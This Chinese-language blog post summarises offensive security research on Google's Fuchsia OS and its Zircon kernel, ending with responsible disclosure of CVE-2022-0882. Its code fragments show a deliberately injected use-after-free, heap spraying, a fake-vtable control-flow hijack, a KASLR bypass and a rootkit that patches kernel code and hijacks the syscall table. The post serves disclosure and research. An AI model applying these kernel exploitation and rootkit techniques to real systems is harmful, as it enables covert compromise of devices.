攻击者视角下的Fuchsia OS内核漏洞利用与Rootkit植入

本文详细分析了Google开发的Fuchsia OS及其微内核Zircon的安全架构,通过实际漏洞利用演示了UAF漏洞的利用过程,最终成功在内核中植入rootkit并实现系统调用劫持。

Fuchsia OS глазами атакующего

概述

Fuchsia是Google开发的开源通用操作系统,基于用C++编写的Zircon微内核构建。Fuchsia的设计优先考虑安全性、可更新性和性能。作为Linux内核安全研究员,作者对Fuchsia产生了兴趣,并决定从攻击者的角度进行研究。

文章内容

Fuchsia OS简介

Fuchsia是Google从2016年开始开发的开源通用操作系统。2020年12月,该项目开始接受外部贡献者,2021年5月,Google首次在Nest Hub智能家居设备上发布了Fuchsia。该系统支持arm64和x86_64微架构,目前处于积极开发阶段。

安全架构特点

  1. 无用户概念:Fuchsia使用基于能力(capabilities)的访问控制,而不是传统的用户权限模型
  2. 微内核设计:与Linux相比,大量功能从Zircon微内核移至用户空间,显著减少了内核攻击面
  3. 组件隔离:所有应用程序和系统服务都在沙箱中运行,进程间通信(IPC)需要显式声明
  4. 软件交付机制:应用程序通过URL标识,在运行前由系统下载,确保软件包始终是最新的

开发环境搭建

文章详细描述了如何从源代码构建Fuchsia系统:

1
2
3
$ fx clean
$ fx set workstation.x64 --with-base //bundles:tools
$ fx build

使用FEMU(Fuchsia模拟器)启动系统:

1
$ fx vdl start -N

创建Fuchsia应用程序

创建简单的"Hello World"组件:

1
$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

组件代码向系统日志输出消息:

1
2
3
4
5
6
7
#include <iostream>

int main(int argc, const char** argv)
{
  std::cout << "Hello from a13x, Fuchsia!\n";
  return 0;
}

Zircon内核开发

Zircon内核代码位于zircon/kernel目录,使用GDB进行调试:

1
2
3
$ fx qemu -N -s 1 --no-kvm -- -s
$ gdb kernel_x64/zircon.elf
(gdb) target extended-remote :1234

安全测试:启用KASAN

编译支持KASAN(内核地址消毒剂)的版本:

1
2
$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan
$ fx build

作者通过注入UAF(Use-After-Free)漏洞测试KASAN检测能力:

1
2
3
4
5
6
// 在TimerDispatcher中注入漏洞
if (deadline_ % 100000 == 31337) {
  uaf = true;
}
if (Release() || uaf)
  delete this;

漏洞利用开发

堆喷技术(Heap Spraying)

使用FIFO系统调用实现堆喷:

1
2
3
4
5
zx_handle_t out0[N];
zx_handle_t out1[N];
for (int i = 0; i < N; i++) {
  status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);
}

控制流劫持

通过伪造虚函数表(vtable)实现控制流劫持:

1
2
3
4
unsigned long fake_vtable[VTABLE_SZ] = { 0 };
unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];
*vtable_ptr = &fake_vtable[0];
fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr;

KASLR绕过

发现zx_debuglog_create()系统调用存在权限检查漏洞,可读取内核日志获取内核地址信息:

1
status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);

该漏洞被分配了CVE-2022-0882。

Rootkit植入

系统调用表劫持

定位系统调用表地址:0xffffffff003c49f8

编写rootkit钩子

使用汇编编写系统调用钩子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
push %rax
push %rdi
; 保存寄存器状态
mov $0xffffffff001012e0,%rdi
mov $0xffffffff0010fa20,%r11
callq *%r11
; 恢复寄存器状态
pop %r10
; ...
mov $0xffffffff003077c0,%r11
jmpq *%r11

植入rootkit

修改内核函数assert_fail_msg()

1
2
3
4
char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;
hook_addr[0] = 0xc3; // ret指令
hook_addr++;
memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);

劫持系统调用表项:

1
syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1;

演示结果

成功实现:

  1. UAF漏洞利用
  2. 控制流劫持
  3. 系统调用监控
  4. 内核rootkit植入

负责任披露

作者已向Fuchsia维护团队报告了研究中发现的安全问题,包括:

  • zx_debuglog_create()的权限检查漏洞(CVE-2022-0882)
  • KASLR实现问题
  • 其他安全缺陷

结论

这是首批关于Fuchsia操作系统安全的公开研究之一,展示了在微内核操作系统中利用漏洞和实施攻击的实际技术。作者希望这项工作能激励更多研究人员参与操作系统安全研究。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计